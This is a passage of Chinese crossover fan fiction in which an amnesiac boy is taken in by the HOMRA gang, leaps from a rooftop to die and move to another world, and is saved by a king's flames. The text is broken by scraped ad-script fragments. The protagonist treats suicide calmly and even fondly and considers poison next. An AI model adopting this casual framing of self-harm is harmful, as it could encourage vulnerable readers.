《[综]最强复活进行中》 1. 王剑高悬1 凪夜一在雪中行走。 深冬时节,镇目町每天都在下这样的大雪。 模糊的、灰白的天幕,天幕之上抖落下来银白的细雪。视野范围之内都是一片令人头晕目眩的单调颜色,银白的、死寂的,毫无声息。 街上有很多穿得厚厚的人,接连不断地从凪夜一身边路过。 在少年的眼中,他们都是没有特征的灰色影子,并不足以分走他的视线。 凪夜一在找东西。 一个对他很重要、绝对不能丢失的东西。 他们之间有一道连结,凪夜一能感应到它所在的位置,一条他人看不见的金线从他脚下蔓延,线的尽头就是他今天的目的地。 然而,这个目的地正在不断移动。为此,凪夜一差不多已经绕着镇目町走了一圈,眼看着目标即将离开镇目町,他呼吸微滞,急切地加快脚步。 即使在这样的雪天,出行的人也有很多。 凪夜一的脚步很快,同时努力避开路边的行人。即便如此,他的举动还是吸引了不少人惊诧的目光,余光里一位穿着精致的中年妇女正捂着嘴看向他的方向,而旁边她的丈夫已经从口袋里掏出了终端,似乎要拨通什么电话。 凪夜一的目光微凝。 然而就是这一刻的分心,让他迎头撞上了一个人——是个穿得单薄、身材也很单薄的青年。 两人相撞,巨大的冲击力让凪夜一倒退三步,险些向后栽进雪地里。 对面的人也没比他好多少,怀里的纸袋都险些没抱稳,发出一声痛呼。不过他很快发现快要摔倒的凪夜一,立刻稳住身形,伸手向前拉了一把:“小心——诶?” 入手的温度冷得像冰,让他愣了一下。 青年低下头,这才看清楚撞到自己的是什么人。 一个十三四岁的孩子,穿着一身单薄的病号服,裸露在外的脖颈上缠着厚厚的绷带。有着和安娜一样柔软的发色,一双色泽奇异的冰绿眼睛,脸色白得像纸。 他也没穿鞋,在这样冰冷的雪地里跑了许久,双脚冻得发青,本人对此却仿佛无知无觉,双眼微微垂着,神色很空。 十束多多良心里咯噔一下,抱着纸袋弯腰问道:“你是哪个医院跑出来的孩子?还记得父母的电话吗?不穿鞋出来走脚会冻伤的……” 凪夜一的思绪微微一滞,抬头看了一眼拉住自己的人。 ……不是影子,是个有着亚麻色头发的青年。 脸孔清秀,一双褐色的眼瞳,神色很温和。虽然穿得单薄,手掌却是热的,温度透过薄薄的病服渗过来,有点像是幻觉。 少年的视线移向他抱着的纸袋边缘,伸手接住一颗从里头滚出来的橘子。 他将橘子放回纸袋里,埋头道了歉,从青年手中挣脱出来,循着感应继续往目的地走。 几步过后,他飞速奔跑起来,飞掠的雪花连带着陌生青年的呼喊声一并被他撂到身后。 身体理应很冷,但他没有特别的感觉。脖子上是之前被人抢劫时划伤的伤口,放着不管的话不会好也不会恶化,只要他想很快就能愈合。在这样的雪天奔跑不是明智的举动,但在肺部被冷气浸伤之前,他可以自主停止呼吸。 他的身体很奇怪,有时不太像是人类。 所以,不穿鞋也不是什么重要的事。 他的身影消失在街角,十束多多良回过神,一只手匆忙地从口袋里掏出终端,拨通了一个电话。 “喂……是我。八田,你现在有空吗?” 目标越来越近了。 在距离镇目町主街相当远的地方,一条堆积着不少废弃楼房的小巷。金线一路蔓延至小巷的深处,凪夜一在巷口停下脚步,看见里面一片涌动的黑暗。 ……就在里面! 这个认知让他一直高高悬起的心猛地落了下去。脑海中紧绷的弦一松,他立刻感到手脚有些无力,晕头转向地扶着墙喘了口气,等待晕眩感过去之后,这才抬脚往巷内走去。 巷子不大,深处连着另一条废弃街道,他要找的人坐在一只废弃箱子上面,正随意地往嘴里塞什么东西,另一只手百无聊赖地摆弄终端。 凪夜一靠近的脚步声惊动了他。这个流里流气地家伙立刻将终端塞回身上,警惕的目光扫向周围——看见来的是谁之后,又立刻放下戒备,发出一声响亮的嗤笑。 “啧……哪来的小鬼?快滚远点,别来碍眼。” 凪夜一站在箱子下面不远的地方,抬起头,视线锁定了混混脖子上挂着的挂坠。 那条挂坠并不是什么贵重的东西,相反,它的外表十分古怪。一条黑线穿着一枚形似骰子的六面体,只是通身铁灰色,排列的点数被替换成了几只线条简单的眼睛,麻木冰冷地朝向世界。 眼睛的瞳仁是蓝色的。那是碎冰一样清透的罕见色泽,点缀在方块灰白枯槁的眼眶里头,像是死灰被撕开一条裂缝,露出底下无边际、纯粹的天空。 看着它的时候,凪夜一能感受到一股恍惚的、铺天盖地的怀念。 “我来拿回我的东西。”他轻飘飘地开口道,“能把它还给我吗?” “哈?”混混夸张地拉长声音,“你想说老子身上有什么东西是你的?” 他的态度十分恶劣,像一只被入侵领地的臭虫,只会对来人摆出毫无威胁性的凶恶嘴脸。 这种嘴脸凪夜一已经看过很多次,对此毫无感觉。他恹恹地垂下目光,深感自己与他对话是在浪费时间。 “狱门疆。”他道,“把它还给我。” 混混显然没听明白凪夜一要什么,但不妨碍他觉得这个臭小鬼目中无人的态度让他火大。他啐了一口,把手里的东西往身后一扔,从箱子顶上跳下来,手指捏得咔咔作响。 “没听懂。你小子来找打的是吧?正好——”他走近两步,看见凪夜一的长相时,忽然咧开了嘴角。 在漆黑巷子里头,他的双眼仿佛漫出了瘆人的红光。 “喂喂……”他神经质地念叨着,“长了一副有钱人家的长相啊……” 他说了什么话,凪夜一一个字都懒得听。他的目光追着小小的方块走来走去,很快,混混发现了他的意图,将挂坠从脖子上扯下来晃了两下,笑嘻嘻道:“想要这个是吧?过来啊,过来拿。” 凪夜一迈开脚步。 他仿佛没看到混混脸上的狞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑、和他身后弹出的小刀,踩着一地坑坑洼洼的垃圾屑,面无表情地向前伸出手。在快要摸到挂坠的时候,混混身后忽然闪过一道尖锐的寒光! 凪夜一不躲不避,猛地向前探身,将狱门疆从混混手里拽了回来。折叠小刀已经贴近了他的侧腰,少年微微侧过脸,冰冷的双瞳之中拉出一条诡谲的剪影。 永别了。 他在心里默念道。 然而,预想中血肉横飞的场景没有出现,比小刀更快的是一只手——它抓住凪夜一的后领向后一拉,少年踉跄两步,跌进一个温暖的怀抱之中。 头顶的人松了一口气,紧接着,他扬声招呼道:“八田!” “在这——呢!” 一个影子混杂着滚轮滑动的声音飞快地从身旁划过去,紧接着,凪夜一被蒙住了眼睛。 耳边接连响起了棍状物体挥舞的声音、骨骼错位的脆响、混混凄惨的嚎叫、重物倒地的闷声,一切重归平静。 八田干脆利落地将棒球棍往肩膀上一搭,扬起眉毛嘁了一声:“真是弱得要命。十束哥,我们……这个白头发小鬼是谁啊?!!” 十束多多良笑眯眯地道:“我们的营救对象啊。” 他松开手,露出凌乱白发底下一双冰绿色的奇异眼瞳。凪夜一骤然被人从危险面前拉走,一时没回过神,神情有些空白。 八田美咲打量了他两眼,十分耿直地吐槽:“怎么感觉不太聪明……十束哥,你认识他?” 十束多多良露出微笑,双眼弯起一个温柔的弧度:“不认识。刚刚看见他一个人在街上跑,有点担心,就跟上来了。” 八田抱怨道:“十束哥你真是的……” 他把双手搭在棒球棒上,弯腰看向凪夜一,用很不客气的语气问道:“所以……你是哪家的小鬼?啧……妹妹头,到底是男的还是女的……”他很快偏移了问话的初衷,视线挪到少年病号服胸口,睁大眼睛辨认上面的字,“东京都立广井病院……东京?!穿这一身从东京跑到这儿??” 十束也有些意外。他低头看了看自己怀里的少年,想了想,问了一个柔和一些的问题。 “你还好吗?脚疼不疼?” 凪夜一的思绪微微一滞,感官移向早已没有知觉的双脚。他的状态还停留在一分钟前直面刀刃的时候,因为避开了预想中鲜血飞溅的场景,心中感到些许古怪的陌生。 不疼的——他想这么回答,却发现自己开不了口。 刚才被衣领勒了一下,脖子上的伤口裂开,说不了话了。而且,从刚才开始,他就感觉很困。 身为赤之氏族的一员,即使在这样的冬天,十束多多良的体温也并不低。 这个怀抱神似一团安宁的火焰,一刻不停地环绕着他。会随着温暖一起来的往往只有困意,凪夜一靠着十束多多良的胸膛,侧脸抵着青年的臂弯,慢慢地、慢慢地闭上了眼睛。 第一个发现他不对劲的是八田,他眼疾手快地伸手托了一下凪夜一的脸。 “没礼貌的小鬼……”他嘟囔完这一句,眼神往凪夜一脖子上一瞟,声调立刻转换为惊恐和震惊:“十束哥!!他脖子上有血啊!!!” 2. 王剑高悬2 脖子有点痛。 这是凪夜一醒来以后的第一个想法。 第二个想法迅速被他付诸于行动,少年伸手在胸口摸了摸,摸到一只熟悉的方块,将攥在手心,紧绷的肩膀顿时松弛下去。 他有点费力地睁开眼睛,映入眼帘的是风格陌生的天花板。和医院一成不变的白色不同,这块天花板相当潦草,密密匝匝的红砖挤在一起,角落还能看见一些不知用途的管道。 但不得不说,风格非常鲜明。 这是哪? 他用迟钝的脑袋思考了一会,没能得出结果。从记忆中回想显然不可取,他的过去空白一片,能记得自己的名字已经是万幸了。 凪夜一躺了一会,撑着身体坐起来,用手指按了按脖颈,感到一阵麻木的钝痛。 和最开始被划伤时的剧痛不同,现在这种程度,显然已经愈合不少了。少年的手绕到颈后,手指拨开整齐的发尾,摸索一阵,打开绷带结,一圈一圈将脖子上的绷带拆开。 拆到一半,他忽然有所察觉,转头往边上看了一眼,动作顿住了。 门不知道什么时候被打开了,一位戴着帽子的橙毛站在门后,目瞪口呆地看着他的行为。 “别、别拆啊!你想死吗!!” 他毛毛躁躁地恐吓了一句,头也不回地往外跑,门缝里飘进来他惊恐的叫声:“十束哥!!那个小鬼在拆绷带啊!!!” 很快,楼梯上传来一阵杂乱的脚步声。 虚掩着的门再次被人推开了。出现在首位的是把他从刀口前拉走的纤细青年,身后跟了一位年长些的金发男性,橙毛被挤在最后头,旁边一位体型巨大的连帽衫正扒着他的肩膀往门内张望。 等众人挤进房间铺开了,凪夜一才看清他们的全貌。 “这个不能拆。拆掉的话,脖子上的伤就好不了了。”那位长着亚麻色头发的青年用哄小孩似的语调说完这句,坐到床边,拎起绷带尾巴将它一圈一圈又绕了回去。 凪夜一没有阻止他的行为。 迟疑片刻后,他微微仰起头,对青年关怀的举动展现出了相当的顺从。 “很听话啊。”和八田挤在沙发上的镰本力夫挠了挠下巴,“这真的是会往人刀子上撞还不理人的问题……嗷!” 话还没说完,八田照着他的肩膀来了一拳:“这种时候不要说话啊混蛋!” 镰本力夫闭嘴了,默默地揉肩膀。 草薙出云好笑地看了他俩一眼,随后将视线转回床上的凪夜一身上。 十束多多良复原绷带的行为已经快要完成,期间那位少年一直一言不发地仰着脸,细碎的白发随着动作扫过眼尾,整个人显出一种异样的……安静。 是错觉吗? 一般这个年龄的孩子,初到一个陌生的地方还被一堆陌生人围着,就算再怎么稳重,应该也会有些不安吧。 还有,他脖子上的伤口,怎么看怎么不对劲。虽然口子不深,但位置很致命,要是下刀的人力气再重一些…… 他纷乱的思绪停了一秒。因为他忽然发现,那孩子在看他。 凪夜一有一双漂亮的眼睛。 眼睫与发色相同,眼瞳是很轻盈的浅翠色,背光之时,像是被藏在朦胧冰层之中的湖泊。这片湖泊倒映出的影子都很模糊,被它注视时,草薙莫名感觉后背有点发凉。 他习惯性地想去摸烟盒,还没摸到,忽然听见床上的孩子出声道:“谢谢。” 他的音色十分奇特,说话时很容易让人联想到冷雨钻进衣领的恶寒感。因为脖子伤口的缘故声音有些沙哑,但胜在咬字清晰,辨认出内容并不难。 十束多多良给绷带打了个结,摸了摸他的头,笑道:“不用谢。绷带要等到换药的时候才能解开,知道吗?” 凪夜一轻轻点了一下头。他的视线向下移,忽然发现床边不知道什么时候趴了个头发雪白的小姑娘,双眼一眨不眨地盯着他看。 十束多多良注意到他们的目光,眼眸弯弯地介绍道:“这是安娜。我叫十束多多良,那边站着的哥哥是草薙出云,沙发上坐着的是八田,胖胖的那个是镰本力夫。嘛,除了安娜以外,都叫哥哥就可以啦。” 他的语气纯良无害,凪夜一点了点头,又有点想去按脖子上的伤口。 ……昏迷之前不是这样的。我希望它愈合吗? 也有可能。十束……多多良这样的人,不能给他看那种伤口吧,会恶心很久的。 他的指尖蜷缩了一下。 十束多多良敏锐地注意到他的小动作,转头递给草薙一个眼神,稳重的金发青年会意,手臂一伸,拎着沙发上两个人的衣领出去了。 门被关上,房间里顿时清净了不少。 “不用害怕,吠舞罗里很安全,没有人能伤害你。”十束多多良的声音很温和,“你叫什么名字?家住在哪里?” 他进行了例行询问,凪夜一简略回答了一些。虽然已经尽量省略隐瞒,结果听起来仍然十分糟糕——名字,记得。年龄,模糊。家,很远。父母,不明。身上的伤源于抢劫,为了找东西一路到了镇目町。 十束多多良的表情发生了些许变化,白头发的小姑娘默不作声地伸出一只手,搭在了他的手背上。 孩子的体温不低,力道也不重,手背上像是覆了一片温暖的羽毛。 凪夜一低下头,慢了半拍才意识到,自己被当成易碎物品照料了。这种感觉有点古怪,又有点刺人。 名字、年龄、家、父母。没有这些东西,人也能活下去的吧? 但他没有将手收回来,明智地略过了这个话题,转而问道:“十束……多多良先生。你有什么愿望吗?” 少年说话的声音很轻,像是一团薄雾,没什么生气。 十束微微一愣:“愿望?” “是的,愿望。”凪夜一道,“直接告诉我就好。你救了我,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是我必须偿付的报酬。” 回答他问题的是十束状态外的目光。 青年看了看他,又看了看床边的安娜,忽然没忍住似的,扑哧一下笑出声。 “啊……抱歉抱歉。”他很快将不合时宜的笑意憋回去,伸手揉了揉凪夜一的头发,褐色的双瞳中闪烁着温柔澄净的光泽。“我救你可不是为了什么报酬啊。至于愿望……嘛,一时间也想不出来。想要感谢我的话,等伤好了再说,可以吗?” 凪夜一定定地望着他的眼睛,辨认出其中毫无杂质的善意,有些困惑地收回了目光。 他低声回答道:“好。” 先攒着吧。 很快,十束叮嘱他好好休息,带着安娜出去了。他的背影看上去有些心事,名为草薙的青年就站在门外等他,两人交谈的声音随着脚步一路远去。 凪夜一捕捉到“留下来”、“请求”几个零星的字眼,微微皱起了眉头。 十束临走前关了灯,房间内有些昏暗。凪夜一垂着眼帘,眼睫洒下的阴影在少年瞳中割开一片阴郁沉默的冷光。他盯着自己刚才被安娜按住的手背出了会神,很快将目光移向透着朦胧雪色的窗户。 入夜的时候,他从那扇窗户逃走了。 被暖气烘得热乎乎的木制地板上,凪夜一划开指尖留了张“字条”,从吠舞罗二楼一跃而下后,他的身影很快消失在横飞的风雪里。 * “不见了?” 草薙夹在手里的烟顿了一下,惊诧的目光望向站在楼梯口的小姑娘。 安娜的表情有点茫然,手指轻轻捻着洋装繁复的裙边:“不见了……窗户是打开的。” “跳窗逃走?”八田把拳头捏得咔咔响,“那个臭小鬼……就他那个身体状态,是想出去找死吗?吠舞罗又没人吃了他!” 说话间,草薙已经亲自上楼确认了情况,愁云惨淡地从楼梯上走下来。 “失算了。”他道,“还以为是个省心的小鬼头。” 八田发出一声响亮的嘲笑。 “会自己往刀上撞的小鬼怎么可能省心啊草薙哥。”他随意转了转手里的滑板,咕哝道,“不过,他自己想走,就算拖再久我们也拦不住吧。十束哥呢?” 草薙抓了一把头发:“去买东西了,还没回来呢。” 八田转滑板的手停下了。他和草薙出云面面相觑一会,楼梯闷闷地响了几下,安娜被一只大手拎开了。 站在楼梯口的人变成了周防尊。 昨晚喝了点酒,今天一觉睡到天黑,起来的时候头疼是必然的——赤之王拧着眉头,维持着一脸凶神恶煞的表情问道:“买什么东西?” 安娜伸出一只手,娴熟地拽住了他的衣角。 “生活用品。”她认认真真地回答道,“夜一的。” 周防尊沉默地回想了好一会,没想起这人是谁,脑仁反而因为思考隐隐作痛。 “谁啊?” 3. 王剑高悬3 凪夜一盘腿坐在高楼的天台上,身边缠绕着一片稀薄的雾气。 从他来到这个世界开始一直持续的大雪在今天终于停了,云层散开、天上洒下没什么温度的阳光,算得上是严冬里难得的好天气。因此出行的人数变多,凪夜一不想挤在密密麻麻的人群里头,索性上了天台。 “说来也是呢。”雾气极其怪异、像是从卡壳磁带里传出来的声音在耳边响起,“像人类这种光是靠近就会衍生出一堆麻烦的,还是躲着走比较好吧?” 凪夜一注视着下方车水马龙的热闹景象,轻轻“嗯”了一声。 可以的话,他不太想受到他人的帮助。 接受帮助、触发规则,意味着他要接受一个未知的要求。普通的愿望还好,可大部分人类许下的愿望,都是不普通、甚至十分棘手的,为了完成这些愿望,他需要付出巨量的精力与时间。 他去过不少世界,也完成过不少这类的请求。摸索到现在,找到的最便捷、最简单的方法就是——离人类远点。 毕竟他无法抵抗身上存在的莫名其妙的规则,就像他至今不知道这个应该算是他异能的东西为什么会讲话,声音还那么难听。 他在心里考虑很失礼的事情,雾气浑然不觉,学着他的样子长出透明的手脚坐在天台边上,问道:“接下来怎么办?白银之王也打不开狱门疆,这个世界没有其他人能打开了吧。” 凪夜一:“……好像是这样。” 三天前,从吠舞罗逃出去的那个晚上,他潜入了白银之王的飞艇——天国号。 来到这个世界两个月有余,凪夜一四处搜集信息,从中迅速摸清了世界另一面的构造。 一块石板,七个王。最初之王白银发现了那块石板,藉由石板获得不死不灭的【不变】之力,而后石板选出其余六王——在总结出这条信息的瞬间,凪夜一就将目光锁定在了这位源初之王身上。 源初之王,一切因果的起源,理当拥有优于一切的力量。 若这样的王都无法解开狱门疆的封印,那这个世界应当没有其他王能解开了。 “不过,白银不是说了么?”雾气的双手撑在身后,“让你去找其他王试试。嘛……虽然也不能抱太大希望就是了。” 凪夜一凝望人群的动作顿了一顿。 雾气也顿了一下,“转头”看向他,问道:“确保万一问一句,你还记得还有哪些王吗?” “……记不得。” “不是特意去调查过了吗!王、石板、氏族之类的!明明是脑子好用的类型不要舍不得用啊!信息要好好记在脑子里啊!!” 凪夜一不愿面对地移开了目光。半晌,他道:“动脑子很累啊。” “嘛,你没有干劲也不是一天两天的事了。”雾气叹了口气,“接下来怎么办?去下一个世界吗?” 提起这个话题的时候,凪夜一难得打起了精神。他坐直身体,左顾右盼了一下,从高挂的太阳看到陌生的天台,再到下方遥远的人流。 ——遥远。 脑海中浮起这两个字时,少年慢慢眨了一下眼睛,瞳中浮现一丝亮光。 是的,遥远。 他现在坐在很高的建筑的楼顶,建筑外层装嵌着特质玻璃,正清晰刻印外界的一切景色。今天天气晴朗,凪夜一往下看的时候,能看见玻璃边缘散射出来的流光溢彩的阳光。 他喃喃道:“这个位置……很合适啊。” 从这里跳下去的话,会很像鸟吧?在四面八方的玻璃镜子中、自在飞翔的白鸟。 凪夜一握住胸前挂着的狱门疆,将身体向前倾了一点,估测从这里到地面的距离,柔白的发丝在高空温和的风流中轻轻飘动。 雾气诧异道:“诶?在这里?就现在?” 凪夜一站起来,笃定道:“就现在。” 雾气跟着抬头看他:“你不等十束了吗?他还没有许愿吧?” 凪夜一攥紧狱门疆,掌心挤压着方块一团死肉般的诡异触感。他深吸了一口气,低声道:“我等了两天……他没有来找我。” 临走之前,他曾在房间的地板上留了字——那是特意留给十束的,能最便捷找到他的方式。 “对方没有许愿的想法,那我走掉也可以吧?” “心急的家伙。规则里【死了以后能去往下一个世界】这一条是让你安安稳稳活到寿终正寝,不是让你做这种事的好吗!”雾气吐槽完这句,把拟态的手脚收了回去,化成一片轻柔的白雾,以保护的姿态重新缠绕到凪夜一身边,“不过你想逃的话,那就逃吧。顺便一提对面是医院诶,你要不要换个地方跳?” “没关系的。”凪夜一苍翠的双瞳一眨不眨地盯着地面,“摔死以后,不到一秒就会消失,不会有人发现。” “我的意思是明天会有‘xx医院疑似苛待病患致其跳楼’这种新闻啊混蛋夜一!!!” 它的呼喊声被急风迅速抛在身后,少年踏出天台,一跃而下。 * 医院走廊吸烟区,周防尊背对着窗户靠着墙,叼着烟盯着天花板出神。草薙在他身边打电话,手中夹着的烟已经燃掉一截。 烟灰掉下来的时候,走廊那头的门被打开,又关上了。 十束多多良双手揣在外套口袋里,远远打招呼:“King,草薙哥!” “噢,出来了?”草薙挂了电话,顺手把指尖的火星掐掉,也冲着他招了招手。“怎么样,千岁的伤?” 十束的眉毛耷拉着,一副很无奈的神情。 “还好不是很重。”他摊了摊手,“脸上有擦伤,还有就是右手骨折了,要养几个月。接下来的几次吧内大扫除,草薙哥要给他放假了哦。” 草薙笑骂一声:“嘛……玩弄女人感情的家伙,是该长长教训。” 十束多多良弯起眼睛。 “安啦,安啦。这次受了伤,他估计要安分好久了。”他望向草薙,“草薙哥,刚刚的电话……” 草薙把终端屏幕翻给他看。 “完全没进展,像人间蒸发了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样。”三人之中长相最可靠的金发青年说道,“没准已经跑远了吧?穿着病号服还能从东京跑到镇目町来的,应该也不太用人操心。” “小鬼一个。” 周防尊叼着烟含含糊糊地评价道。 “King说得对!再怎么厉害,也只有十三四岁的年龄,如果在上学的话还只是初中生呢。”十束忧心忡忡地道,“而且不知道怎么想的,他好像很喜欢往危险的地方跑,真的很让人操心啊。” 周防尊说:“从你脸上看到这种表情,真是少见。” 十束意外道:“诶?是吗?” “毕竟你这个没责任心的散漫家伙,忽然有一天带个小鬼回来什么的,有点吓人啊。”草薙说,“不过,你对这个只见过一面的小鬼是不是太关注了?” 十束闻言,露出一个八颗牙的标准笑容:“啊,这个啊。人的一生中偶尔不是会有那种时刻吗?像本能一样的东西。” 草薙有一种不好的预感:“哪种时刻?” “看见一个人的时候,自然而然明白了自己该做的事。”十束用轻柔上扬的语调说道,“我第一次见到King的时候,就有这种想法:‘我要一生都追随这个人’之类的。看见夜一君的时候,总觉得不能让他再这么在外头跑下去,所以把他带回来了。” “这算哪门子本能啊。”草薙毫不客气地照着他的肩膀来了一下,“与其想这个,还不如想想找回来以后的事情。养一个普通的孩子要考虑的事堆起来比山还高……不要摆出一副轻松的表情啊!” 十束“哎呦”了一声,揉了揉肩膀。 “嘛,总会有办法的。”他的话题拐了个弯,“不过,我总觉得夜一君是个很好的孩子呢,听话又能干的那种小大人……King也这么觉得吧?” 周防尊的眉头皱起,一双金瞳困惑地垂下来,盯了真情实意的十束一会,他才道:“你,不适合养孩子。” 十束:“诶?” 草薙抓了一把头发,为吠舞罗的未来感到了深深的担忧。 “尊和那孩子,根本没见过面啊……” 十束笑着说了声“抱歉”,也走到草薙边上靠着窗晒太阳。这段交谈之后,他们谁都没再说话,只一起等还在病房里头的八田和镰本出来。 走廊的窗户开着,处于侧方的住院楼内很安静。微风吹拂青年略长的头发,虽然温度依然冷得刺人,但对于赤之氏族的盟臣来说,确实刚刚好、有些凉快的温度。 夜一君现在在做什么呢? 身上应该没带钱吧。有没有吃饭呢? 他心中想着,转过身试图把半开的窗户拉大些。 草薙不知道在处理谁的讯息,一直低头看终端;周防尊靠着墙,看上去快要睡着了。十束多多良将手放到窗框上,不经意间一抬眼,在这个难得的好晴天看见了足以让他血液凝结的一幕—— “King!!!!” ——与凪夜一的第二次见面,比起第一次的恐怖程度呈指数级爆炸增长。 4. 王剑高悬4 失重,下坠,玻璃,阳光。 在半空中的时候,呼啸的风会卷走耳边所有的噪音,习惯以后,反而会觉得世界宁静无比。 四面八方都是玻璃似的的大楼,天幕在其中拉出令人目眩神迷的重重倒影。失重感爬满全身,身体交由重力控制,整个过程中需要他做的,仅仅是迈出天台的那一步而已。 相比于从前各种离奇的死法,这次没准是最简单、也是凪夜一最喜欢的一个。 毕竟,在跌落至地面的短暂数秒之间,他还有心情想想下个世界有什么。 人,各种各样的人,各式各样的组织。藏在正常表壳里头危机四伏的世界,拼凑线索找到其中最有可能解开狱门疆封印的人,用尽一切方法和手段请对方出手,然后……失败。 他毫无波澜地凝视急速拉近的地面。 失败这种事,他已经习以为常了。毕竟他其实连里头装着什么都不知道,不忽视掉什么的话,很难继续下去的吧。 习以为常了……吗? 凪夜一转动干涸的眼球,从空中看见几颗一闪而逝的、像是火星一样的东西。 在他反应过来那到底是什么之前,雾刃已经飞了出去。 一团剧烈到恐怖的火光倏地在极近距离内爆开,成型的瞬间被雾刃打得支离破碎,凪夜一有所察觉,在半空中转过身,未被乱发遮掩的眼瞳之中映出一片炸开的巨大焰光。 他微微睁大眼睛,喃喃自语道:“烟花……” 这个词脱口而出的瞬间就被狂风绞散,少年在狂风之中伸出手,想要抓一片为他送行的“烟花”带走。 他自身就在这片烟火里,一颗火星落进手掌里头,剩下的受到了牵引似的沿着他的袖口一路蔓延,炽热的温度包裹住全身。 随后,一阵被灼烧的剧烈疼痛席卷了他。凪夜一在周围此起彼伏的尖叫声中落地,紧紧蜷缩成一团。 他身上还穿着几天前的病服,白发凌乱地散在地面,脸死死地埋在臂弯里。裸露在外的手腕脚腕纤细苍白,每一寸皮肤上都燃烧着赤红的火焰,正一点一点钻进少年的身体。 雾气骂骂咧咧地给这股陌生的力量挪位,凪夜一意识模糊地蜷缩着,不知道过了多久,一只手猛地将他捞了起来,耳边响起曾听到过一次的、属于草薙出云的京都腔。 “没事吧?有没有哪摔到了?” 草薙很快把他全身上下的情况检查了一遍,这才松了口气。 “没什么大问题。十束,你……” 另一个人将他接了过去,随之而来的是一个熟悉的怀抱。一只手按在他的脑后,另一只手轻轻拍打他的后背,柔和的节律连同心脏略有些急促的跳动声,轻轻敲击着凪夜一的耳膜。 他艰难地撑开眼皮,视野中扫过青年一截亚麻色的发尾。 “这是King的火焰,别怕。”十束柔软的声线与几天前没有分毫差别,“最开始可能会有点疼,但很快就能暖和起来了。” 是十束。来找他许愿了吗? “从那么高的地方落下来,比第一次还要吓人啊。如果不是King在边上的话……”他轻轻呼出一口气,无可奈何道,“这种时候果然就会想,‘如果有力量就好了’呢。” 不是。是来救他的。 周身难以忍受的疼痛慢慢褪去,随着青年柔缓的安抚转化成一种陌生的温度。很快,这些温度流向左手的手腕内部,轻微刺痛过后,彻底消失不见。 苍白的皮肤、青色的血管之上,浮现一枚赤红的印记。 草薙翻看了一下印记的情况,检查完后将他的手放下,叹了口气。 “我说,尊啊。力量是不是用得太多了?这孩子才十四岁不到,这么烧会烧出问题吧?” “没问题。” 这小子是权外者。 凪夜一愣愣的挪动视线,从发丝的缝隙里头看到一个陌生的红发男人。对方就站在他的脚边,长了一张煞气四溢的脸,气场像是一只懒散的狮子。一双沉默的金瞳微微垂着,正向他投来视线。 随着这道低沉懒散的声音一起来的,是八田遥远的怒吼:“混蛋!!谁把他从那么高的地方推下来的?!那种高度会死人啊!!” 周防尊:“没死。” ……没死成。 死亡是一件简单的事,但这是第一次,凪夜一被人从死亡面前拽回来。火焰来源于这个人,从救助行为成立的那一刻开始,规则的另一头就写上了他的名字。 周防尊。 凪夜一垂下眼帘。 没走成,还欠债了。但这是没办法的事,接下来走流程吧。下次再脱离世界,用什么方式好?服毒吗?毒性不可逆,没法被阻止,但过程又长又痛。如果可以的话—— “累了吧?” 忽然,他听见十束多多良问道。 乱成一团的思绪被打断,凪夜一愣了一下,茫然地抬起头。他缩在十束的怀里,白发柔顺地垂在颊边,刘海略长,在眼前洒下一片安静的阴影。片刻后,在近乎本能的冷淡反应冒出来以前,他略显迟疑地点了点头。 “累了就好好休息。”草薙摸了摸凪夜一的头,心情有点复杂。 他的一只手上举着终端,上方一闪而逝的监控影像被十束用角度刻意挡去了大半——无人的天台之上,白发少年跃下的影像定格在空中。 凪夜一是自己跳下去的。 知道这个真相的仅有在场三人,先不论另外两个人怎么想,草薙已经有点想摸烟盒了。 权外者,拥有能一击把尊的火焰打散的极端能力,与同样极端的自毁倾向。最重要的是,他的年龄还很小,身上找不出几两肉,一阵风都能吹倒似的。 安娜刚来吠舞罗的时候也是这样。苍白瘦弱,僵硬木讷,对外界反应迟钝。 这种相似点让草薙心头自然而然浮现某些不好的联想:看情况,这孩子多半是个黑户。是和安娜一样被囚禁起来非法研究的吗?他自己从那个地方逃出来了?之前他脖子上的那道伤口…… 他强行停下联想,转头看向马路对面,“镰本,担架还没到吗?” “来了,来了!” “睡吧。”十束多多良轻轻拍了拍他,“睡醒以后,一切都会好起来的。” 凪夜一醒来的时候,上方横七竖八探着几颗脑袋。他努力辨认了一下,除了十束多多良和镰本力夫,其他的他好像一个都不认识。 见他睁开眼睛,几人的表情都惊了一下。十束多多良神态自若:“早上好啊夜一。感觉怎么样?要不要再睡一会?” 身体有段时间没动了,有点僵。凪夜一尝试修复身体,听见十束的问题,摇了一下头。 镰本力夫看了看时间,一脸纠结地道:“十束哥,现在已经是下午了。让他起来吃个饭比较好吧……不对,他能吃饭吗?” 镰本的旁边站着个长得很骚包的青年,脸被打得很惨,一只手上打着石膏,惨兮兮地吊在胸前。 他用仅剩能活动的一只手挠了挠头:“能的吧?不过比起这个,你好啊新人。”他露出了一个笑容——虽然魅力值因为脸上的伤大打折扣,“千岁洋。乐意的话叫我千岁哥就可以,新人。” 新人……? 凪夜一这才反应过来似的,抬起左手看了看,果然在手腕正中间找到一枚印记。 一股陌生的力量在体内流动,骨头缝里都带着难以适应的温度。但,只是难以适应,并非难以忍受,相反,这股力量服顺无比,比有自我意识的雾气要听话得多。 他在记忆里翻找这枚印记相关的信息,花了点力气想起来几个关键词:第三王权者,赤之氏族,盟臣的印记。 他睁大眼睛,视线锁着自己的手腕,喃喃道:“盟臣……” ……变成别人的盟臣了。 “果然知道呢。”十束没有问太多,而是伸手摸了摸凪夜一的头,声音中带着天然使人镇定的力量,“这是King救你的时候打下的印记,当时情况太紧急了,不得不这样做。不过,最终还是要问问你本人的意愿。” “凪夜一君,你愿意加入吠舞罗吗?” 【吠舞罗】,第三王权者周防尊麾下的组织。能力是操控火焰,整体风格与秩序背道而驰,推崇极致的暴力与自由。 普遍意义上,盟臣就是那种吧?凪夜一想。 对王的命令唯命是从,为了王的意愿舍弃生命……之类的。 他撑着身体坐起来,神情中缠着一点挥之不去的阴郁。这是不太讨喜的特征,却根本影响不了十束多多良的认知— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 